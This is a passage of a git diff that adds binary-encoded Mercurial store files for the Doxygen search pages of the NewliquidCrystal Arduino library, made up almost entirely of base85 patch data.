zI4-re=+8vGhvUB?uR7wT552%w9|7*MpDeAb?i+nMo3}gHzkRfN=FK!uKQ6PY*MP1vmw;bWtf$;+adicJCaOL~s~JV% zCB#erFOKsWc{~AGin)=t)0)~QO|(s#X`3|AHu*_yr@6Kt8)}LGP+>JM^udd~B|5a*4LdMcO9KwM~A3wtpeV3$%TDw4LXr z=7-zo;ko1OY21DEg-W&o_07MJP&qzEy?bOIxgRvG#Ur-cs>*a#=3M~U@bh89+s|k1 zj-KBXbnc5dpobw2qY&`T`M{SIoeSO5q`I|eh(buw{M6RQ6&KvOX;s^y@NO%+rd6&R TCGhOJk>5VDJ5}pny$`2;Gido6 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__73.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__73.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5a14cc5952aa9bb821c4ad3034f96bd4b8516830 GIT binary patch literal 4087 zcmV^`M*B^g4JwGA}ie&t+%&`FS-?S5$zN3yNok#vsT|IRO`e{_5QxjM@R)%_^D`t#)C zyqo2R?e<@|+isusPP2ditM~OHgDsHt3N*8&`+D=c&sxGyis!SMFOizs6@XP(|sgqd$AU9g4giPBI#f@3O*;j`Fg4 z9=UShT$N{4IK!f&Da$+?6wZehP8DX*s*luNOH&M|)!Vjzt4B3InrCHUUV8jp=Hb5Q zzl4tM*?9IkdSah5Gg4)Fl;2!msasbM*$yAGp{c!^?xYlv7!J2N;THP8V@{!8ZnFw6~yx(xGHYLyvX}gRfH?# z$8$udb3_*bQKzkDG|H(Ozqz=Xgt>Nn(LD|NhF@xq3jtDfD2BI#SRr7F5HL*$m>>j9 z6heDLh(?ldjy#Y60qqq=$_vFMq4QAtCCD1oy2^ z8^Ocr@NhGDsQxh+>G%kPQyjGNdqZe-6m-JWrjJ-^9}xX$eySRQ=YX^A~DUJww{yMa_7v2JR1 zPwTn(N^t$E#!WmKH}Yhh?#VdalNZDk(n1Q%n1hBwFJRfq%cl@xE)5aOE+ZP z$dGZmA>&4d{3g$M2(|DE01;e;Ii#6m!IQC|LRz8LPP%n@CIVx+HRDFsjMJ?dH?`)a zt4NO>_Lw2cr62}jKMT?vJ4h&|k+~)UV!AuyM(&K$-5ED^=hu9L!bWE`;z;nY=P?oj zqvHw^jk1#L$N2$ zNsXnIN@L5FBVk7s)>)&lHZj2`KwQ7lNt5hD8f71no_$E;?87i8z=kJhDXf4@s+yi* zR(TJcH&O3!;_#)%AJQoPko5RNc8x#CDKD63_4}IuF(hw>H3;tQh438c^!T%lWO@Q3 zjS>(^Pe5eH1VptrVLBS<0YTbmDy2k3Vuck)7{V5MF-=>>=d#w=> zfe;`R_y8Sg6y`8-np>b1CcuexlQ^L1&d~gj|E#$iP9u@C6yz)oIZHs!wj%F)RaX6B zf6^C&rH=`rh_YG>P7w%C^h_`TwPo6CD5YD&{O0%btF5?y3s*V+qcv#6yg*NV>h&o6 zbFa#~Nd7#9KTqS&6ZrG({5L#)y~;tubF8wKNx`Uclp7^DGMYedl#>pxlOsHH^-nJP zU%%Y^zI_#Z_o%j$L{?QQO(c;bl1LLtB#0z-6p5QUv>*jJCLCJ;9SGZ%GF&hvm;{?d zI{ni7^3!E<<1~?Eibyg|B$*(R+)*T9A=gZ4O|`KuY;)LZYXq~HXeaHuH)}JI&Mtqt zL`9h<5lpI&fr$k&Fr`8UZZDDfSSDkf6dHthCA~EoIfxhs)Ig#QfM7%!VYv!lj9V9&1G2Dm zevmeAO9pRdBc2rvzI@zNHu$#R<>afX%)piT@#Q32d|vk2S_*mG`Q`9%&rZz4eHdyh zjQecl>W?SS=XU?4hVh^^tH5k6%HfXk@nr1s&zn2G-qEJ6kE&QzI6KP5?kT%@du%^n zX_6m&-dmj&^Va*}_~GG78Rr6cUB)@9>a1&3_x=aftD=4Y00007$N&HU00*xC07uFI z000000068200030|Ns9vP|^@svxPCxM$|Ql2T78G*qI0b00000000000001ZoV}UP zZd=C{#;>~w3Zt7M2)bw!t4!0{Kp@XK^FNUd$g+?KQJhw^V+2`T%-@JGMX4lZMUT

6k0oqLuB`OjnQo3^)P!L6l9FpSioB7W94y)>?1 zXzcoRUH9ls(Um`~-@35AKR)Px=xkCV1Z7f?F@s~-2?U1%ky{TQI%{J${4R~3bm}8F zq}T2|-93BWt?AS5;8y+Y^lKMB`DBy^@!_M5$L{I2X~n!FWFUQUy@pgF3CQ-+Ki z1TMjGjGpP>brKj%00_xMq3>ka-Ma&xXaP^Of+x!1iFWXyKAG~ys335#KA9v{<^i&DG8nC61A=%L zLDhnwYDG|$6IAU8@*fDs#D&Y!>zuTe!e9m?OhC{oD#F=-AfF{zRX^XYs`oyk;&OV8 zCU0Yhyp~L;z@t~3l36LjDK5@qr=N>tuo0YrU7-x#h_?ZiD`n~V=$Mg3n zZ{w4^l~3|=pX6M48B$o|~OaqAJR>@mgB`>#1-qtEF zi;cl(gpkT6kJ3nKUG{=G&!tG7xh5RXi%kQP<(A1?Stc*HOy1TqFN+R>G|{6*qXS4K zs1Hiofzara=e~($VpEd31xekCq%J3^mn}XjvK%JOPs%n&!YP;`yx#gKEZQb}lFuhu zRloY*`Q_f9H)8MY<^Os9ZaQa>yL&Y~HXIJdLpP!)zrQxScAM@vo!op?m1Z_Eh1Ap^ zt}nk$gez+=>7O3>!+yJJB{^x}kWtT$5HWBcC>=!>C)xxr=BPl_wx-mk8+T)L(27FXLd$2amLDKzV=l4?@5B`0AdH27!AL=2T z)H1vA;XyCZFDJv^IMMY!IYh%#Zb|@~GQg$)u(=)Zf|`HHTT6ohL#A%jr5LjoEGtdv zC~FQWSjxHvt_#3 z0^RJAx*01|^ck$sQE*H`f$~8}i!qsyT_fFgzk0n&*?gaV9JtY&hFSqD5erzET9@k^ z$aS`O8NJZwVCiT%NJ!rrz$(<-QKzT{xP|BJ*>3&iX7`I#$`nPROi&~f6v_l8GQqMk zrDPl(rU1%hp+PAXgmW?aK*|NSNT%mv^)ksqnVQY*FGx0>*xy*+L?&EPCXhBK79&R+ zQbrCg>1bS3ntBHp`9hiG>Sa=eGBulkU65=#`?|5diA;P+nItt8lz^Q`NlQ2RzS43x+N0nGoS=og$ z>D9}W`tG!;L`6v)3ZpobWO2AXjNdJh5|X-f&ryO9S}HKe3@58YF04uOCdTIyZSQV= zvvPsx`gqh-rK0c-h3Oqi;yc`)-|to_gFqL&kb-B+l+KD0tcj8$t<8)tE=v=Y>Q~)W z3Y7+hhF3IFfWnyqlnfQ%j;X@kr|E3CAcT-yQ`bPgM}2sThWb7qyjvKawqLB=@P?y8 znTiGzP&k=@lFy zXH|9Y{n^jzi^d69I8MNlaRRm&C*VwH%@e0os;p7cC8+})7U~ZK2ag^;ZA3{|u_29F6)X(j^*m$hUI_te$8M3DYb zRloZef%?TPsG?wrg~1X_f+e;HmY0+m)6z2m(ID+9p)+b5LlOp)_RP$WER)UjZ0F?^ z(Zg@6>e28fqM~4jg~1L>f*rO9c31L3bPm1u7y=ln88b?_V4`;PM@aKN|06`SjV=*A z`rG;C-rsL;QzlJH=+nDs*qmTdEW^TBh9$8KmyKl{th6X?FeZA&tYSi1p};$VJX-50 pPDA!wsvuQnE?B3n0cvKvvo`rKPlwm_*6#M^-jCI_{2w^sI-H{`)wBQr literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__74.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__74.html.i new file mode 100644 index 0000000000000000000000000000000000000000..3b587ef444a0d58765ebcca7c9af2675ae4ccdf4 GIT binary patch literal 1155 zcmV-}1bq7d0RRC20000000ON500u+=00000005}}|NsC0|Ns9zQfX=o>j9>8{v=Zx z1qn_x1JiH-00000000000001ZoRw5fbJ{Qvz4I#+^+IN93-e85`w*a0W(Z-xnY1U5 zED7wy*sdgS{O>E-4uMXSl9T1tdn@gG+O@AH_hawZatcDZi^1~Yc0L;eXdv|186!0D zCgA4}?`{q(vjsek6A{TMO>m6RbO8YjrOdt|l;^pbcg&P;k+(uGI+vx%_0o_hOp{6q z-G;4qTsvf#y0(mD%v>8)--f+o5(AyvV88d#!GYs6kt~shS7ZzVQvEqlvKLvMaYI7P z1(VK$_uUvmq>{u@@(ehO9VlcGGZ8W-A&@FVO(a4<5OTIr2!=TcO&!rxL3otOQ|uEy z;3^7%;N-}75>VZ{+EGMQ*3+NqO{S0%JAG*?i z6=#{oHo~P2BE!kau_RS*%$<)XW~iK1ds@R<`b!+hQ{_P(adx5j)@Q`GJ}18Q3GuD} zh##p|q(0$=kT~{zU-e6O2Md5iQ8OA<2G;foa1>sQu?6T-Ex45L9)vfrsn zO;z?ZW_o#B%xLr2+Sg_|m`oapEXIWclQd!Q=6&MZjozakFhBPfI3Qs;Sf9q4@C*X4 zZyM)sqCz)S+%V3jTP?VrZsoAkBfRkk-@F^|000000<8c500042000N`0000000022 z00000|NsC0SxXi)3_7P2gpyZwz&@^z+!?S9000000000000000c$}5dL2H9B6aZky zcIt7zAY_*fh8nBZfc7$a7>o^Up~n!DIAvB{5-a|M{hIy7sgrGm9qJ)G65h*ue9tg0 zePcWqpCQkWfE84!2yWw8sHV^mZ#X@DfDY=4dd#gU)}YIwlhcDnWyc{(01l)|5CelnxJ&$C(KI&MzQd{rJJ~`g!`O2 VEA|idZvR5|kMU*%{sI{!@+PXj8}|SJ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__77.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__77.html.i new file mode 100644 index 0000000000000000000000000000000000000000..9fac9be9ad0ffd70fce6e6cc9c1d807aae1dbc61 GIT binary patch literal 841 zcmV-P1GfAC0RRC20000000RjC00=_>00000005}}|NsC0|Ns9K7^zcTe#bu6;vLb< zC(!rpL+$4P00000000000001ZoRyVJbJ{Qv$M1X!RXqe|>L+hva|qBWGlXOUnYJg7 zkQVI3*whvffBQhh9*#Jf~`)6YgZ#?_P zEpyxe+Wy1dxcjs`N-{Oe1f@ z&tqT6j$~ep;)os!7E+rf2= zn{mRoVox$=5)$SGE8NcwRaGrbL|;&#_dM%IML?CmP4c~4`#hx%E>qY1vTBE9( z<2%%0PRCVctG|*K5ZW-Hv4CcWwcGU;p*l6X3{100bw)*(NwgBffSnDAM1I_tT%H9N zOCu?Qcte7-FVaxVRev%Vs;=m!Sd;j2+-0ao9*2_1jn5!AK8M`+1ajj#^3$;Qit2f| zTKQ1DIh1@;6J(`vz*;DO;Cen2_)`K!1`aJZd1;EnhD#6N71c*j{*_z|$7veV1;;bR zOnOe3k0h9StKMvNY1eEsUDrEcHoJ9ZG@5#2$tZhgB**4p{Lt&A{HnE_;3cMV(^A}h z*`c|jDv!zdKc@8L=8R0%=~8M!%UrfivRpKmMw7IctYes6U5ENRjKqn&B$S`W50B^h zMLJ7sNUzePdF?Vi*G^00000006cB|NsC0|NsBGxnFZtO)xUm@=5@G z7Q9NhpR98L00000000000001ZoRw2ebDJ;_z4I#+oty(wJh^yk;1JuLdd6`*Hkr1k zj*7NGDod`k{@~vS0da9!ciI!n+xK?gE=zPX{WwX#tY)OZts<+ZhsAtCXvq1e`w8dM zbV@#dNFNtu$nHpLg?1&DMhnIHY)J_%5O?o5KOT?lc+ZT@dAjB&Uu)>aT^M3d$s|ge z1d-1qQ2|0G5tgVRiFo@AqAj2xzIF&d_vIm`6QdC{hH13}O0xDXrU)l&dyKO}SO*wC zrSHQL<*!Aw*g{Nm&|n1`+tW_XsjBgMvJo5JH40VgAH;%+sl!TvD*%uZtb2B?GUq5M zEPSsSAZ%7Jk9eueY`Mce_gNf7i&Elj7E__r*AaVmv>vog{F|=p^hU^=%>~gnBP)_A z;ap5N>y^mCFIScaQc91^wS?0vbmnbP;J%*4a~4L(Qs*@30>)UxYxYH%HMqUP#zLF= ztMMed3Bw?>AP_p`;C38@VSj?FhBnQ>jiqz=#?&8mOY=^iep}xL z%K>K!eE3k!<>0)bTh`nKlcn1!QN>gn4Rm~6_{-5X=|Nc1e&B9TBqkb;WYfn6^nya` aRbBwBW&gh7Zg%dEq`4XY&jl|C9#vXNp8Gcd literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__8.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__8.js.i new file mode 100644 index 0000000000000000000000000000000000000000..d78af26c3475710bbbb76410e0885539cba63170 GIT binary patch literal 325 zcmZQzWME_f14dQ`2FAY-HpABcP$24^eV6-X*U2WU|KBzh|MCbC+BglW2254V$(?XI z>#%`<>-T?L&f@oGge-1X4cwLSIQ7563EA;lbls!B@X7v+S*iJ2rE<;qzsGpDmY;Tl>!Pu}%KxY1ah@{pF`2>~uv* z%_~e(f000n#w39t$IDK)_pJGyCeik7mg19SyEorXFa7jKzFV-^00000006cB|NsC0|NsA8DXPbJkx06u5=4Wq z*?xSNKuKBv00000000000001ZoRw2ebDJ;_z4I#+oty(wJh`MbaER?rJ>$3@n@rnN zMnzj7l_ghNfAH^%fVen~JMD?(?R&d#mnFKId>W@;ms3*UMv>*?{d_hiH01pA?U?gP zIw4;^rVn#6WH%(WLc0=6qlMypx}by>h}-v^9}Wk0xMjxXJYDgluQl}IE)21!WD+G! zg2-o*r~o082uoCuM7(_l(FRZuUps`KyK*1XvC#+`!?fB0C0Y9xQ-mY7Jw{m}tOJZ6 z(+}Yta10?z7m77Nx}5ET%%Kr+4hx(R$D}@o&1W(<>owHWx(SjI2ne zgmW=nua+VQzg$`FNhv)t(-Mv^(22K3fxCJZ&zTz`OP$lC3m9V&ui0m1R^WCD8w+jf zuf~(;Dhz|nfWchW!aH8d^64Hx{lMLxNK7;w$hwaW=oy99 bt2_f(%l>o4-R#^SNpmy)p9_8g3Zqq9dII+~ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__9.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__9.js.i new file mode 100644 index 0000000000000000000000000000000000000000..ac92efe5a9a0956416c78a5abe6f739ec9f49a40 GIT binary patch literal 204 zcmZQzWME`~fF2;V2g=_19|~ONhF6qS2WEd+YRA*IDdvTa!Q@t`8ZcEcr}WHTu0sYQ z4i9bp0}D^00000006cB|NsC0|NsBP0iEtzz3R@gj{qBI z0B)$)WrQ~X00000000000001ZoRw2ebDJ;_z4I#+oty(wJh^0Q;1JuLdd6`*Hkl@; zj*7NGDod`k{@~vS0da9!ciI!n+xK?gE=zPZ`8-aams3*UMv>*?{d_hiH01ot?U?gP zIw4P=(uX-2vKx|GpBsPn^0y*dY#^pNXs`l}?P(|GSk-tv*&Q3+GzwMfAH;%+sl!TvD*%uZtb2B?GUq5M zEPSsSAZ%7Jk9eueY`Mig_eJbQi&Elj7E__rSHWH!tp{xr|EB9Yy%X|gb3ydY$cki2 zI2Y6PYAJH?%a!Gxl+q(JE#deEop@^$xT|OJoVgLQ)HzMMfH4;FntfJg1#YLXvCyXe zYCMUq!Z64z2!u{KxE=*z*q`8{p>;EGW9byWGxbN^!aNAf3aDK!4C&(k@GDKW+tjzg za=@tqAKq6pIXG?Tnl*R9Wa+j_R58^?107u!{&I9lx)+wTAGq5SiHU{-S@*F4J)_Wi am1h8J*}t#2o1Ob3X>P{|}sd3D2PyON0$oN;mq}*ZXF9Ikn~7|8mdPzV3|r z$7G8=KX2|&`K@#Q`_c0MrBaJTo>uN#zj>9}!xzg}zAhEtwNHB0;TkKu3g$bDwrSik zFi(-^00000006cB|NsC0|NsAj(v!T1=6vNBhl)$% zi(CV4-iww100000000000001ZoRw2ebDJ;_z4I#+oty(wJh^0Q;1JuLdd6`*Hkmf3 zj)Jy8Dod`k{@~vi0da9sciI!n+xK?gE=zPZ`8-aamQzyTMv>*?{d_hiH01ot?U?gP zIw4;_r4Ms5WH%(WLc0=6qlMypx}by>h}#dG9}Wk0xMjxXJYDgluQl}IE)21!WD+G! zg2-o*r~o082uoCuM7(_l(FRZuUps`KyK*1XvC#+`!?fB0C0Y9xQ-mY7Jw{m}tOJZ6 z(~sdD<*!Aw*g#Bk&|n1`+tW_Wv8wTUvO6}sX%wo|KZpetQ-_rTR{$U-SoiE&WzJDj zSomHuK-jEc9`RC_*>a10?u*!q7Nx}5ET%%KZ_n(-(R$D}@o&1W(;FdgHWx(CMph(K z!nv5PS4)wDU#=|oq?8_+X$i+y=)_y2z+F9y=gf_erOs*61&pzX*X*-0D{wo7jfFP# zSK~=^6^21(K_GO>!SyHz!~O&p4XvAj8%w9~jj2EC7Un@x{lMLxNK7;w$hwaW=oy99 bt2_f(%YMJ&Zg%dEq`4XY&jr5#aqv}y57z$= literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__b.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__b.js.i new file mode 100644 index 0000000000000000000000000000000000000000..b877671f467ffb5df26073e2897e5678cd7eae99 GIT binary patch literal 474 zcmZQzWME`~fXfUFjQUXa*8fnjfBS~)C7ni_Cw+@=^_q9c`h~uCE>sPes+g17zcK5u zfrx8)ee1&JAcJ$0Q@o3umZfmASZ#?mc;;Ev#mmPQ{p5G{?uEKwK}(8kBWao$i%{9zZMCI z23*j2ENR{S_-F3+=!n_jVgHZ)W%hcwMl7f>GV}PtCoZd4^4C5PZDyUu}Yw@=i;$NnDulT{)WLxzy>XdRxI8Vy#9iCBtIQ~a=w>L^2lPET+w~IB8 zO7%Z^00000006cB|NsC0|NsB9!QyH(pu_M?JM-oE z4majRAQl(^00000000000001ZoRw2ebJ{Qvz57=vI+25=Fu7!k?L&Z0nIV(`XPTTk zsveK9`aH~^=VMafT9f(X{d6)UH0J!v?U3_P zJ|a(_@`owuvm25-VSI_DH9~Vfo>4*z#LWlJ_xnBD-!kh~JYVobsMQbRE{yR+$rLJ@ zMM=nHNdZD-36`iKOL+T?k~N?pp>_;Ex8*LSLu(KW#(A{?N@V+%QiKDxJqEH6&I6{8 z`N#N<^0y*JtRbZ#br5-B{z5qZp)`PZ*f75lH-U)fLxhVN&RYjy0 z-lufAn2QyJ<*IT=N)?caQE+&Jj=Uub+}5)M&eRH3nib8ufH9WvntfJg0e-8ovCyXe zYCKD>;y98H1VX3mT@Ru-KAqsAp=C30W9b;aGxbN^%svQ|1=KEQmUQud_*GVJ*Y$0% z72sGy2=A+j>K!+9&6>Mls`MKzs+1aQfDSGTe>u7&-3dq958UmEq{P6UEKji>J)_Wi am1h8J*}t#2o1KRvX>KO`bI~hwbybB1r~m-~ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__c.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__c.js.i new file mode 100644 index 0000000000000000000000000000000000000000..d1bcdc34f6f9f846d4441aa47438a4957c5e5306 GIT binary patch literal 1487 zcmZQzWME_f1LkiG3_J@UY=*7>q2S>y_Z1&}!afN*%GQ@Jd=U_|@|`184VbE!Gk2PA zzO*|}+xvf_Y()j!67P5{Y89@)pjap4f-C1(Yl6EhQaL$(HcdOoa=KQ&25JB~f5 zB=U{J>GTs1e;4ih^rz%vWnBLH%9H!&)>v8E{w>+I;`8sDYkbA$r~ff{z01b>zFypV z@%#B=`g(OMjpKCMZU(fM74H6%{;h4Yl6$+Jo8!W;tC^peI5)a+%{qVX@6VgRSHIqT zGNtIBkj4CerN1XtY>t(6?Ybtw;&npuiYU9^6v2qj;?A4>3cq8kTXN>@-f+2ozt8P} z=ltEO=gmGQe`1`%Qta|_ZRHU;n`v^pUEEV;|9?Ea`fL02>8nrJ|E)2rwEbbg6D;wn z&2dp&WYP6^8z=wJQN7A=R=ZODp=xpkd$@bS8%6%Z;rE!l{TE(y*?Vl+ytzdT=LHxx zbcoyY$=tK6c~YfN_R+>stx4oB1?DcK2NQAaP>fjH}g(sn1WG(4|79u(K*W_Rjgpk5wo77r#B?cR{0NhL?E9wCKdC4z zK3_DK-#P2JQ`W)TFU~(^{(pPf-GKRDbNB9#K3BPMZfyAZxc<*iI@C1T(zo+};9d1~ z-QB&jvb9%Uy`EQ=?SJq7#pypE)$O}`{_^P+RXGLC+!t3~Wj?dX%W(dwvz*BhZ&RLl z*|b{ijc1K9J-GY+cc=Bgvu5yp@Bb*j|K6Y6Pjmn8-RNfgdC?Q=n{)No=81Q)8r)Rq z*=b%Y_VQEF-Rm`9EX84zWT|)(4drKrkOzYP<)t7#OyJXi&l78J)XeyT?{w8qJ^f!7VMG-`GqUF>IRc=d$M%?pRl7+gJc z$mFJuq3TtOvo|iCxN+vnp-We6OjUVLs%UF-tX;TLPFi~PVb-#cx+u;Iu{%4Ds;+cR z*v`n>u&U-E6UXXCBZ1qBs|5L2C6BW*O!@0p0&*kERIp2{kP5{^KoLfe_YS4bH&&Wu p_R3Cp%K6gM0!jC!1aE^?LkYO|Di0qxVBks*@1164I5A%*8vq3Lx}E?4 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__d.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__d.html.i new file mode 100644 index 0000000000000000000000000000000000000000..e304048b5d17d1e7c1e7ef4d06abf414a4200b9e GIT binary patch literal 536 zcmV+z0_Xhz0RRC20000000Gzl00Z>^00000006cB|NsC0|NsAn*_A6XZcxGpjq=a> zlsQclr(Asi00000000000001ZoRw2ebDJ;_z4I#+oty(wJh^0Q;1JuLdd6`*Hkl@; zj*7NGDod`k{@~vS0da9!ciI!n+xK?gE=zPZ`8-aams3*UMv>*?{d_hiH01ot?U?gP zIw4P=(uX-2vKx|GpBsPn^0y*dY#^pNXs`l}?P(|GSk-tv*&Q3+GzwMfAH;%+sl!TvD*%uZtb2B?GUq5M zEPSsSAZ%7Jk9eueY`Mig_eJbQi&Elj7E__rSIJ%+tp{xr|EB9Yy%X|gb3ydY$cki2 zI2Y6PYAJH?%a!Gxl+q(JE#deEop@^$xT|OJoVgLQ)HzMMfH4;FntfJg1#YLXvCyXe zYCMUq!Z64z2!u{KxE=*z*q`8{p>;EGW9byWGxbN^!aNAf3aDK!4C&(k@GDKW+tjzg za=@tqAKq6pIXG?Tnl*R9Wa+j_R58^?107u!{&I9lx)+wTAGq5SiHU{-S@*F4J)_Wi am1h8J*}t#2o1Ob3X>P{ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__d.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__d.js.i new file mode 100644 index 0000000000000000000000000000000000000000..57022bfc652a221b01c0aa7ce5743ad9436b421d GIT binary patch literal 250 zcmZQzWME`~fL#m>jFM3H*8fnDc>MC(H5*p4iMNz+n1%m5y7)=c8>kvERWYaZ+(E7; z2Z4r%yZseQZZK`U8yP-#QE+V20_WoblIdlh224|{{yJH?TzqR^`=|WXb3&q;*py?Oe)nGfUbkvdmaHw~bK#Is042I>B>(^b literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__0.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__0.html.i new file mode 100644 index 0000000000000000000000000000000000000000..f00dd94514cb56b9448bc46d04eed71ada1bd12b GIT binary patch literal 537 zcmV+!0_Oby0RRC20000000G$m00a2|00000006cB|NsC0|NsB9aJP9Ps^*%uTBT<; zlIgI!Rz;rx00000000000001ZoRw2ebJ{Qvz57=vdm;x*Fu7!k?L&Z0nIV(`XWE`R zsveQ9{y0j%EG8_cP01Ed53}irK`6whyO9v% zbj&_~NFQfx!22wyYB7 z^nG{_;lC-Pm@tm2Fs?cjlx`1;YiJE;;W{GZBQe&Y_ z{ndC9-GpI~S(JpGvUfWS!ti{8tATF-_{P*9b#wD5Da)~TIXA3}|HH2`*=|$c z2VWyiO7!7FHC4UShHiOt8(bA`Tgoa1Z8XC0y6~5yYtp^6to^{%j#D b>Q!C=&ysMmdhssU4_Wr;-!#i@x! z$r&z*C5g6N(Oe1&(dwB-$(i};I??K$M$Vr8AcmfvesWG?adCX6QG9ZIW_-S0MoDgt Rx{jfax_WGEELW^G7Xa1XD!2du literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__1.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__1.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6f9b4ee05b9218c0d2fe6abe1db11c4b84b4905b GIT binary patch literal 538 zcmV+#0_FVx0RRC20000000G(n00a2|00000006cB|NsC0|NsB6ISysc2xzu)xg)dU zq6H*LohBjx00000000000001ZoRw2ebJ{Qvz57=vdm;x*VRFe7+lK(1GD9c>&NMl7 zRBMZ!8i`8FhyQ&n+o6z_PJ8nD?R&d#*X!tN^m&**&&MpMb;;(B_tVLcK`6wR+o2Gn zbi|%Mr4Liq=Qk|1QoDi*qh%??cm@n|qRj^(_WM2G-*RJDB3+1suhsYBE)3~J$rUL` zg2-o*C`YN1hzcq(iA4JhqBW9azIKQ|x5X}oq0xkz!nE2Tu&jNHf$%_Wk3p78>yYBd z^kaAj;;o35Ym8xq8m%N_PqZU*sA{~P?2h+u8bw*?AIxGIgQKcMmm?A|s(W^=GUtHh z7QfdFls3z`N4(T!w%E`q_eJhxivn{tiyk*f#lZ+OFF>p=h=jMBj|6 zSW`ZRSpFaQkG-wa%NZ;|A${?vhBLQ z557Vgm*~U$YNC3_4PEo*Hn=L>rj%6-+GvEqW#KPJm!vysS^I&zJ+YW++_U8=)`K$& c)T=xLc+38M#og?}A4zjF{=W-e0W@4!2>y`*VgLXD literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__1.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__1.js.i new file mode 100644 index 0000000000000000000000000000000000000000..ade58ff5c361768d0b27f3ae7238a883601a78d0 GIT binary patch literal 264 zcmZQzWME`~fD;T1%SeUhhreVK0ObazGo00000000000001ZoRw2ebJ{Qvz57=vdm;x*p}Ay=?L&Z0nIV(`XWE`J zsveQB`ZP?x&c`gLb;;(B_tVLcK`6xM+o2Gn zbi}@VOdqDK&u>_2rFI1sM$1x&@eCN`M4R_Q?Du=VzvafRM7j_MU#suMT^Q1dk}Fb> z1d-1qQI1k25fxNo5{dR1L~A6;eC-f_Zi`(EL!${bg=w`xU|IVX1L1+%9)m2G)*;1@ z>4)$R#7hw^*BHYJHCjo=o@htrP}O)n*&XlSG>Wp&KbXZb21iwiE=MF_RQK#!WzGT1 zEq<>VC~cN=k9eueY_XwJ?z7y<76s;P7DHA_=g>X9aWI==qe0@%%UXhl)dXg5Qe7{Tr{+725u}J!&j!>)XmI;q%6nU<;<`y{tv&(WZQLp zAAE&0F42eg)kO7<8@lGrZE#h%O)0Aww9yEI%fjD|E=hONvi1Xadtx!uxM#~#tOsWl cs8@Lg@Rt4Oio4l`Ka%EV{C^kx0yg1S32$Bp761SM literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__2.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__2.js.i new file mode 100644 index 0000000000000000000000000000000000000000..acbfcf84ea0fac50629566610059fd8ee4afc999 GIT binary patch literal 460 zcmZQzWME`~fB+!n4`pxt4+TlSd*$XF;gWLra_IH3$znTRICsy2ssU4_Wr;-!#i@x! z$r&z*C5g6N(Oe1&(dxySM#-7^>N?Tt!JbCWp8g<~o}PYkPGWI!d~tlHQG9ZIW_-S0 zMoDgtx{jfax_WGEELW^G7uZmcOBfh(fOsC5#lWx)M1!0(XJ1xj`C-f4XCjdcGIOd} z&#G?&se^-xImrnL0!ax89~d9`v9@M>edM$F$(fqcxfx#*{FT%F>jk|1{p~H)H}0_5 zXJL0)!_Lyq*e+gwv5L8S?C}8iSX(o*uy*b>ruJ)DR#=;F+@Z3SBZnz~A)`Y-h9OZP zfGtVP#dK9+48vt#9Wk(_d%z?t?3jSOLqN<3a%&b-yBa9^g literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__69.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__69.html.i new file mode 100644 index 0000000000000000000000000000000000000000..a37085a2527ab640f6c8304c483f9babf6b61d0a GIT binary patch literal 599 zcmV-d0;v4}0RRC20000000I{P00dkB00000005}}|NsC0|NsBS{rS(P?Z-zczpjb5 zi#W{NAx?t;00000000000001ZoQ+dWbJ{Qvz4I#+onWSxNOI{E+lK(1GD8Rh&a^!- zioL~3jO0qohyQ&g+YsoKPEKC0-h0}8y9#ecPs8Nrd`xoO6lDJVFr5qu4LJXPKjeIr zjL45~$>WsVvOY2S%w*n zJE1>`!yH5whbXatIONT@6K((n@!A3W-pXA>hgu;h43eq@O48;pq6i0U?ii%GFcvU+ zPQC`8DR&};RByyU5mAd(0X7FfO3*2^#MD|!as$5{0)$C(<};pZQzJ_}$G(c4XtI=8 zlb#r_mb$u|6G!BAKb`PJXB9~cVQoa0i@8{XZ#k1YA~TIT$4s@z zq*~Ls4H#n~cj&)43$WV)X{)=Ecd67)m|UX93QgtHBosAtg0SgRqSYHzncl028o;el zr0J_swQMGKUD!FVKlOVpx-{T5KMLQLAHu$SP;FjxahwZdygqS#t4tjnoAK84p@KIhH!qrfx=H~E<+ZG2??cXQ(K zCI~v2PPZFZG;0dEJPJir4`V@b>e$P*Qh&TF6}1~QLrb= 